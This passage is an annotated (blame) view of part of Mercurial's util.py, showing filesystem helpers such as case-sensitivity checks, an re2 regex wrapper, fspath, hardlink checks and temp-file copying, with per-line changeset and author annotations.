Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1404
29893
6f447b9ec263 util: rename checkcase() to fscasesensitive() (API)
Martin von Zweigbergk <martinvonz@google.com>
parents: 29843
diff changeset
1405 def fscasesensitive(path):
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1406 """
18911
451eb1c27c1b util: improve doc for checkcase
Mads Kiilerich <mads@kiilerich.com>
parents: 18868
diff changeset
1407 Return true if the given path is on a case-sensitive filesystem
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1408
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1409 Requires a path (like /foo/.hg) ending with a foldable final
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1410 directory component.
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1411 """
24902
986a5c23b1c1 util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents: 24692
diff changeset
1412 s1 = os.lstat(path)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1413 d, b = os.path.split(path)
15667
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
1414 b2 = b.upper()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
1415 if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
1416 b2 = b.lower()
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
1417 if b == b2:
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
1418 return True # no evidence against case sensitivity
eacfd851cb9e icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15609
diff changeset
1419 p2 = os.path.join(d, b2)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1420 try:
24902
986a5c23b1c1 util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents: 24692
diff changeset
1421 s2 = os.lstat(p2)
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1422 if s2 == s1:
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1423 return False
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1424 return True
14004
97ed99d1f419 eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents: 13985
diff changeset
1425 except OSError:
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1426 return True
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1427
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1428 try:
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1429 import re2
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1430 _re2 = None
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1431 except ImportError:
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1432 _re2 = False
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1433
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1434 class _re(object):
21913
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1435 def _checkre2(self):
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1436 global _re2
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1437 try:
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1438 # check if match works, see issue3964
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1439 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1440 except ImportError:
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1441 _re2 = False
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1442
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1443 def compile(self, pat, flags=0):
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1444 '''Compile a regular expression, using re2 if possible
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1445
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1446 For best performance, use only re2-compatible regexp features. The
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1447 only flags from the re module that are re2-compatible are
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1448 IGNORECASE and MULTILINE.'''
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1449 if _re2 is None:
21913
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
1450 self._checkre2()
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1451 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1452 if flags & remod.IGNORECASE:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1453 pat = '(?i)' + pat
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1454 if flags & remod.MULTILINE:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1455 pat = '(?m)' + pat
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1456 try:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1457 return re2.compile(pat)
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1458 except re2.error:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1459 pass
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1460 return remod.compile(pat, flags)
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1461
21914
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1462 @propertycache
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1463 def escape(self):
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1464 '''Return the version of escape corresponding to self.compile.
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1465
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1466 This is imperfect because whether re2 or re is used for a particular
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1467 function depends on the flags, etc, but it's the best we can do.
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1468 '''
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1469 global _re2
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1470 if _re2 is None:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1471 self._checkre2()
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1472 if _re2:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1473 return re2.escape
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1474 else:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1475 return remod.escape
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
1476
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
1477 re = _re()
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
1478
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1479 _fspathcache = {}
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1480 def fspath(name, root):
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1481 '''Get name in the case stored in the filesystem
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1482
15710
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
1483 The name should be relative to root, and be normcase-ed for efficiency.
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
1484
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
1485 Note that this function is unnecessary, and should not be
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1486 called, for case-sensitive filesystems (simply because it's expensive).
15670
d6c19cfa03ce icasefs: avoid normcase()-ing in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15669
diff changeset
1487
15710
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
1488 The root should be normcase-ed, too.
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1489 '''
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
1490 def _makefspathcacheentry(dir):
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
1491 return dict((normcase(n), n) for n in os.listdir(dir))
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
1492
30618
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30545
diff changeset
1493 seps = pycompat.ossep
30630
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30618
diff changeset
1494 if pycompat.osaltsep:
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30618
diff changeset
1495 seps = seps + pycompat.osaltsep
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1496 # Protect backslashes. This gets silly very quickly.
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1497 seps.replace('\\','\\\\')
31503
670166e0fcaa util: use bytes re on bytes input in fspath
Augie Fackler <augie@google.com>
parents: 31502
diff changeset
1498 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
15669
390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15667
diff changeset
1499 dir = os.path.normpath(root)
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1500 result = []
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1501 for part, sep in pattern.findall(name):
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1502 if sep:
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1503 result.append(sep)
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1504 continue
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1505
15719
1dd60426b061 icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15718
diff changeset
1506 if dir not in _fspathcache:
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
1507 _fspathcache[dir] = _makefspathcacheentry(dir)
15719
1dd60426b061 icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15718
diff changeset
1508 contents = _fspathcache[dir]
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1509
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
1510 found = contents.get(part)
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
1511 if not found:
15720
3bcfea777efc icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15719
diff changeset
1512 # retry "once per directory" per "dirstate.walk" which
3bcfea777efc icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15719
diff changeset
1513 # may take place for each patches of "hg qpush", for example
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
1514 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
1515 found = contents.get(part)
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
1516
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
1517 result.append(found or part)
15669
390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15667
diff changeset
1518 dir = os.path.join(dir, part)
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1519
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1520 return ''.join(result)
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
1521
31598
ae02cc1f5369 util: add a getfstype method
Jun Wu <quark@fb.com>
parents: 31583
diff changeset
1522 def getfstype(dirpath):
ae02cc1f5369 util: add a getfstype method
Jun Wu <quark@fb.com>
parents: 31583
diff changeset
1523 '''Get the filesystem type name from a directory (best-effort)
ae02cc1f5369 util: add a getfstype method
Jun Wu <quark@fb.com>
parents: 31583
diff changeset
1524
31683
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31667
diff changeset
1525 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
31598
ae02cc1f5369 util: add a getfstype method
Jun Wu <quark@fb.com>
parents: 31583
diff changeset
1526 '''
ae02cc1f5369 util: add a getfstype method
Jun Wu <quark@fb.com>
parents: 31583
diff changeset
1527 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
ae02cc1f5369 util: add a getfstype method
Jun Wu <quark@fb.com>
parents: 31583
diff changeset
1528
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
1529 def checknlink(testfile):
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
1530 '''check whether hardlink count reporting works properly'''
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
1531
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
1532 # testfile may be open, so we need a separate file for checking to
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
1533 # work around issue2543 (or testfile may get lost on Samba shares)
34101
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34096
diff changeset
1534 f1, f2, fp = None, None, None
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
1535 try:
34096
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
1536 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
1537 suffix='1~', dir=os.path.dirname(testfile))
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
1538 os.close(fd)
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
1539 f2 = '%s2~' % f1[:-2]
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
1540
25088
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
1541 oslink(f1, f2)
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
1542 # nlinks() may behave differently for files on Windows shares if
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
1543 # the file is open.
34101
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34096
diff changeset
1544 fp = posixfile(f2)
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
1545 return nlinks(f2) > 1
25088
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
1546 except OSError:
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
1547 return False
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
1548 finally:
34101
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34096
diff changeset
1549 if fp is not None:
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34096
diff changeset
1550 fp.close()
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
1551 for f in (f1, f2):
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
1552 try:
34096
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
1553 if f is not None:
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34089
diff changeset
1554 os.unlink(f)
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
1555 except OSError:
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
1556 pass
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
1557
5843
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
1558 def endswithsep(path):
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
1559 '''Check path ends with os.sep or os.altsep.'''
30618
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30545
diff changeset
1560 return (path.endswith(pycompat.ossep)
30630
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30618
diff changeset
1561 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
5843
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
1562
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
1563 def splitpath(path):
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
1564 '''Split path by os.sep.
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
1565 Note that this function does not use os.altsep because this is
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
1566 an alternative of simple "xxx.split(os.sep)".
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
1567 It is recommended to use os.path.normpath() before using this
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
1568 function if need.'''
30618
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30545
diff changeset
1569 return path.split(pycompat.ossep)
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
1570
6007
090b1a665901 filemerge: add config item for GUI tools
Matt Mackall <mpm@selenic.com>
parents: 6006
diff changeset
1571 def gui():
090b1a665901 filemerge: add config item for GUI tools
Matt Mackall <mpm@selenic.com>
parents: 6006
diff changeset
1572 '''Are we running in a GUI?'''
34647
dacfcdd8b94e codemod: use pycompat.isdarwin
Jun Wu <quark@fb.com>
parents: 34646
diff changeset
1573 if pycompat.isdarwin:
30642
344e68882cd3 py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30630
diff changeset
1574 if 'SSH_CONNECTION' in encoding.environ:
13734
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
1575 # handle SSH access to a box where the user is logged in
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
1576 return False
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
1577 elif getattr(osutil, 'isgui', None):
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
1578 # check if a CoreGraphics session is available
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
1579 return osutil.isgui()
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
1580 else:
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
1581 # pure build; use a safe default
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
1582 return True
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
1583 else:
34645
75979c8d4572 codemod: use pycompat.iswindows
Jun Wu <quark@fb.com>
parents: 34554
diff changeset
1584 return pycompat.iswindows or encoding.environ.get("DISPLAY")
6007
090b1a665901 filemerge: add config item for GUI tools
Matt Mackall <mpm@selenic.com>
parents: 6006
diff changeset
1585
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
1586 def mktempcopy(name, emptyok=False, createmode=None):
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1587 """Create a temporary file with the same contents from name
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1588
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1589 The permission bits are copied from the original file.
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1590
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1591 If the temporary file is going to be truncated immediately, you
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1592 can use emptyok=True as an optimization.
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1593
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1594 Returns the name of the temporary file.
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1595 """
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1596 d, fn = os.path.split(name)
34020
2ad028635ccd util: use ~ as a suffix for a temp file in the same directory as a source file
Michael Bolin <mbolin@fb.com>
parents: 33874
diff changeset
1597 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1598 os.close(fd)
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1599 # Temporary files are created with mode 0600, which is usually not
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1600 # what we want. If the original file already exists, just copy
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
1601 # its mode. Otherwise, manually obey umask.
15010
c3114acd8ea2 util: factor new function copymode out of mktempcopy
Adrian Buehlmann <adrian@cadifra.com>
parents: 14999
diff changeset
1602 copymode(name, temp, createmode)
4827
